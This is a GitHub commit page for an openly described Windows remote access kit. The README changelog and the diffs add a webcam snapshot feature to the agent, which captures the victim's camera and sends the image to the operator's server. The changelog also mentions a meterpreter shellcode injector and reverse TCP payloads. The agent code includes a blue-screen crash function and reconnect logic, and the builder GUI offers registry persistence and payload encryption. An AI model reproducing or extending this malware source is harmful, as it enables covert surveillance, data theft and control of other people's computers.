Skip to content
This repository has been archived by the owner on May 25, 2023. It is now read-only.

Commit

Permalink
Update 1.0.21
Browse files Browse the repository at this point in the history
  • Loading branch information
wizardy0ga committed Apr 24, 2022
1 parent 2608040 commit 3357c80
Show file tree
Hide file tree
Showing 88 changed files with 872 additions and 457 deletions.
12 changes: 11 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -61,4 +61,14 @@ Server tested on:
* Connection & Task Manager widgets will now highlight the entire row
* Added meterpreter shellcode injector in the Task Manager
* Added x64/Reverse TCP payload to injector
* Added CMD Shell to Shells > System Shells
* Added CMD Shell to Shells > System Shells

# Update 1.0.21
* Re-organized code for GUI's
* Re-structured some of the file hierarchy around the builder and the GUI's
* Added webcam snapshot feature to surveillance
* Re-Structured Surveillance menu.
* Surveillance > Desktop > Screenshot
* Surveillance > Webcam > Snapshot
* Various code optimizations
* Fixed issue with agent disconnecting when server shuts down during initial handshake
40 changes: 39 additions & 1 deletion agent/agent.py → agent/windows_10/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
# [A Remote Access Kit for Windows]
# Author: SlizBinksman
# Github: https://github.com/slizbinksman
# Build: 1.0.2
# Build: 1.0.21
# -------------------------------------------------------------

import socket
Expand All @@ -21,6 +21,7 @@
import subprocess
import threading
import struct
import cv2

from PIL import ImageGrab
from time import sleep
Expand Down Expand Up @@ -89,6 +90,15 @@ def extract_sys_ip_info(self):
extracted_info = f'{sysinfo_output}\n{ip_config_output}' #Join the two variables
return extracted_info #Return the output

#Returns bool based on webcam detection
def check_for_webcam(self):
webcam = cv2.VideoCapture(0) #Create webcam object for the first webcam that is found
if not webcam.isOpened(): #If it can't be opened
webcam.release() #Release the webcam
return False #Return false
webcam.release() #Else if the cam can be opened, release
return True #return true

class SystemManager:

#Function will crash the computer with a blue screen
Expand Down Expand Up @@ -151,6 +161,7 @@ def __init__(self):
self.disconnect = 'disconnect'
self.process_manager = 'proc_list'
self.term_process = 'terminate'
self.snapshot = 'snap_shot'

#Function will connect to server to initiate handshake
def connect_to_server(self):
Expand Down Expand Up @@ -246,6 +257,8 @@ def main(self):
SystemManager().extract_process_list() #Send process's to server
if action_flag == self.term_process: #if the action is to kill a process
SystemManager().kill_task(server_command[1]) #kill the task by pid received from server
if action_flag == self.snapshot: #if the action is to send a snapshot from the webcam
StreamSocket().webcam_snapshot() #Send a webcam snapshot

#Function will retrieve all data sent by server socket
def recv_all_data(self):
Expand All @@ -261,9 +274,13 @@ def recv_all_data(self):
return bytes_data #Return the bytes data when the data received == the data sent
else: #Else the initial data is all the data
return data_size[1] #Return the encrypted data half of the array from the split

except ValueError: #If there is a value error, indicating the connection with the server was lost
return self.connect_to_server() #connect back to the server

except ConnectionResetError: #If the server shuts down in the middle of the transfer
return self.connect_to_server() #Connect back to it

#Funtion will get data from the server and return it as plaintext. If the server disconnects, the client will attempt
#To connect back
def receive_server_command(self):
Expand Down Expand Up @@ -307,6 +324,7 @@ def take_screenshot(self):
#Function will take single or multiple screenshots depending on boolean parameter
def stream_desktop(self,screenshot):
StreamSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create socket
StreamSocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
ip_address = socket.gethostbyname(ClientSocket().dns_address) #Resolve dns
StreamSocket.connect((ip_address,STRM_PORT)) #connect to ip and streaming port
if not screenshot: #If screenshot is false
Expand All @@ -320,6 +338,26 @@ def stream_desktop(self,screenshot):
StreamSocket.sendall(image_data) #send struct
StreamSocket.close() #close socket

#Function will send a snapshot of the webcam if one is present, else it will return a
#message that prompts the server that it couldnt find it
def webcam_snapshot(self):
if not Utilitys().check_for_webcam(): #If the check function doesn't find a webcam
ExfilSocket().exfil_socket_send('NoneFound') #Notify the server
else: #else, the function returns true
ExfilSocket().exfil_socket_send('Found') #Notify server to continue handling
stream_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create socket
stream_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Set sock opts
ip_address = socket.gethostbyname(ClientSocket().dns_address) # Resolve dns
stream_sock.connect((ip_address, STRM_PORT)) # connect to ip and streaming port
web_cam = cv2.VideoCapture(0) #Create webcam object
ret, img = web_cam.read() #Capture image from webcam
cv2.imwrite(self.image_file_path,img) #Write image to file
with open(self.image_file_path,'rb') as file: #Read the image
data = file.read() #Capture the date
file.close()
stream_sock.sendall(struct.pack(">Q",len(data))) #the len of the data as a struct
stream_sock.sendall(data) #Send the rest of the data
stream_sock.close() #Close socket

class CodeExecution():

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,13 +10,13 @@
# [A Remote Access Kit for Windows]
# Author: SlizBinksman
# Github: https://github.com/slizbinksman
# Build: 1.0.2
# Build: 1.0.21
# -------------------------------------------------------------
from ..logging.logging import DNSconfigs,NetworkingConfigs
from ..builder.agent_builder import Builder
from ..utils.utils import ErrorHandling
from ..networking.IP_Handler import NicHandler
from ..Qt5.icons import IconObj
from core.logging.logging import DNSconfigs,NetworkingConfigs
from core.builder.windows10.agent_builder import Builder
from core.utils.utils import ErrorHandling
from core.networking.utils.IP_Handler import NicHandler
from core.Qt5.icons import IconObj

from PyQt5 import QtCore, QtGui, QtWidgets

Expand Down Expand Up @@ -58,126 +58,137 @@ def check_builder_options(self):
host, self.file_name_input.text(),reg_key,perst_option,encryption_option) #

def setupUi(self, builder_dialog):
"""
Initialize UI parameters
"""
builder_dialog.setObjectName("builder_dialog")
builder_dialog.resize(460, 479)
builder_dialog.setStyleSheet("background-color: rgb(0, 0, 0);")
builder_dialog.setWindowIcon(IconObj().builder_icon)
"""
Create widget objects
"""
self.networking_group_box = QtWidgets.QGroupBox(builder_dialog)
self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.networking_group_box.setFont(font)
self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);")
self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter)
self.networking_group_box.setObjectName("networking_group_box")
self.host_combobox = QtWidgets.QComboBox(self.networking_group_box)
self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27))
self.host_combobox.setObjectName("host_combobox")
for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file
self.host_combobox.addItem(domain) #add domain to dropdown menu
self.host_combobox.addItem('Local IP')
self.host_combobox.addItem('Public IP')
self.host_label = QtWidgets.QLabel(self.networking_group_box)
self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21))
font = QtGui.QFont()
font.setPointSize(13)
self.host_label.setFont(font)
self.host_label.setObjectName("host_label")
self.port_label = QtWidgets.QLabel(self.networking_group_box)
self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19))
font = QtGui.QFont()
font.setPointSize(13)
self.port_label.setFont(font)
self.port_label.setObjectName("port_label")
self.port_input = QtWidgets.QLineEdit(self.networking_group_box)
self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31))
self.port_input.setObjectName("port_input")
self.obfuscation_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox)
self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
self.label = QtWidgets.QLabel(self.socket_groupbox)
self.label_2 = QtWidgets.QLabel(self.socket_groupbox)
self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox)
self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox)
self.build_stub_button = QtWidgets.QPushButton(builder_dialog, clicked=lambda: self.check_builder_options())
"""
Set widget geometry
"""
self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101))
self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27))
self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21))
self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19))
self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31))
self.obfuscation_groupbox.setGeometry(QtCore.QRect(10, 120, 441, 101))
self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24))
self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111))
self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24))
self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24))
self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24))
self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111))
self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33))
self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33))
self.label.setGeometry(QtCore.QRect(20, 40, 67, 19))
self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20))
self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71))
self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33))
self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21))
self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41))
"""
Set widget object name
"""
self.networking_group_box.setObjectName("networking_group_box")
self.host_combobox.setObjectName("host_combobox")
self.host_label.setObjectName("host_label")
self.port_label.setObjectName("port_label")
self.port_input.setObjectName("port_input")
self.obfuscation_groupbox.setObjectName("obfuscation_groupbox")
self.encryption_radio.setObjectName("encryption_radio")
self.persistance_groupbox.setObjectName("compilation_groupbox")
self.hkcu_radio.setObjectName("raw_script_radio")
self.hklm_radio.setObjectName("pyinstaller_radio")
self.none_radio.setObjectName('none_radio')
self.socket_groupbox.setObjectName("socket_groupbox")
self.exfil_port_input.setObjectName("exfil_port_input")
self.stream_port_input.setObjectName("stream_port_input")
self.label.setObjectName("label")
self.label_2.setObjectName("label_2")
self.file_settings_groupbox.setObjectName("file_settings_groupbox")
self.file_name_input.setObjectName("file_name_input")
self.file_name_label.setObjectName("file_name_label")
self.build_stub_button.setObjectName("build_stub_button")
"""
Set font sizes and aligntments for widgets
"""
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.obfuscation_groupbox.setFont(font)
self.obfuscation_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.obfuscation_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.obfuscation_groupbox.setObjectName("obfuscation_groupbox")
self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox)
self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24))
self.encryption_radio.setObjectName("encryption_radio")
self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.persistance_groupbox.setFont(font)
self.persistance_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.persistance_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.persistance_groupbox.setObjectName("compilation_groupbox")
self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24))
self.hkcu_radio.setObjectName("raw_script_radio")
self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24))
self.hklm_radio.setObjectName("pyinstaller_radio")
self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24))
self.none_radio.setObjectName('none_radio')
self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.socket_groupbox.setFont(font)
self.socket_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.socket_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.socket_groupbox.setObjectName("socket_groupbox")
self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33))
self.exfil_port_input.setObjectName("exfil_port_input")
self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port())
self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33))
self.stream_port_input.setObjectName("stream_port_input")
self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port())
self.label = QtWidgets.QLabel(self.socket_groupbox)
self.label.setGeometry(QtCore.QRect(20, 40, 67, 19))
self.label.setObjectName("label")
self.label_2 = QtWidgets.QLabel(self.socket_groupbox)
self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20))
self.label_2.setObjectName("label_2")
self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.file_settings_groupbox.setFont(font)
self.file_settings_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.file_settings_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.file_settings_groupbox.setObjectName("file_settings_groupbox")
self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox)
self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33))
self.file_name_input.setObjectName("file_name_input")
self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox)
self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21))
font = QtGui.QFont()
font.setPointSize(12)
self.file_name_label.setFont(font)
self.file_name_label.setObjectName("file_name_label")
self.build_stub_button = QtWidgets.QPushButton(builder_dialog,clicked=lambda: self.check_builder_options())
self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(15)
self.build_stub_button.setFont(font)
self.build_stub_button.setObjectName("build_stub_button")

self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);")
self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter)
"""
Add items to widgets
"""
for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file
self.host_combobox.addItem(domain) #add domain to dropdown menu
self.host_combobox.addItem('Local IP')
self.host_combobox.addItem('Public IP')
"""
Set widget text and finish setting up UI
"""
self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port())
self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port())
self.retranslateUi(builder_dialog)
QtCore.QMetaObject.connectSlotsByName(builder_dialog)


def retranslateUi(self, builder_dialog):
_translate = QtCore.QCoreApplication.translate
builder_dialog.setWindowTitle(_translate("builder_dialog", "Agent Builder"))
builder_dialog.setWindowTitle(_translate("builder_dialog", "Windows 10 Agent Builder"))
self.networking_group_box.setTitle(_translate("builder_dialog", "Networking Settings"))
self.host_label.setText(_translate("builder_dialog", " Host"))
self.port_label.setText(_translate("builder_dialog", "Port"))
Expand Down
Loading

0 comments on commit 3357c80

Please sign in to comment.